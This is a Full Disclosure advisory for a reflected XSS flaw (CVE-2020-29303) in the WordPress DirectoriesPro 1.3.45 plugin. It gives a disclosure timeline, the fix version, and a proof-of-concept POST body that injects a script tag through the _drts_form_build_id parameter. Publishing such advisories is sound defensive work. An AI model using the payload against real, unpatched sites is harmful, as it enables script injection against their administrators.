Reflected XSS in WordPress - DirectoriesPro 1.3.45 plugin disclosure

[Jack Misiura via Fulldisclosure <fulldisclosure () seclists org>]

Title: Reflected XSS

 

Product: WordPress DirectoriesPro Plugin by SabaiApps

 

Vendor Homepage: https://directoriespro.com/

 

Vulnerable Version: 1.3.45

 

Fixed Version: 1.3.46

 

CVE Number: CVE-2020-29303

 

Author: Jack Misiura from The Missing Link 

 

Website: https://www.themissinglink.com.au

 

Timeline:

 

2020-11-26 Disclosed to Vendor

2020-11-27 Vendor releases patched version

2020-12-07 Fix confirmed

2020-12-10 Publication

 

1. Vulnerability Description

 

The WordPress DirectoriesPro plugin did not sanitise the _drts_form_build_id in a POST request, allowing for HTML or 
JavaScript injection.

 

2. PoC

 

On a WordPress installation with a vulnerable DirectoriesPro plugin, issue the following POST request while logged in 
as Administrator to, for example, http://example.com/wp-admin/admin.php?page=drts/directories 
<http://example.com/wp-admin/admin.php?page=drts/directories&q=%2Fdirectories%2Fstaff%2Fexport%2F> 
&q=%2Fdirectories%2Fstaff%2Fexport%2F. Please note, the  _t_ parameter is set to an invalid or non-existent CSRF token.

 

filename=staff_txt&pretty_print=1&_drts_form_build_id=123"><script>alert('Reflected%20XSS');</script>%20onmouseover="&_t_=1234567&_drts_form_submit%5B0%5D=0&_ajax_=%23drts-modal

 

 

3. Solution

 

The vendor provides an updated version (1.3.46) which should be installed immediately.

 

4. Advisory URL

 

https://www.themissinglink.com.au/security-advisories

 






Jack Misiura​


Application Security Consultant




a



9‑11 Dickson Avenue


Artarmon


NSW


2064



p


1300 865 865



os


+61 2 8436 8585



w


 <https://www.themissinglink.com.au/> themissinglink.com.au








 



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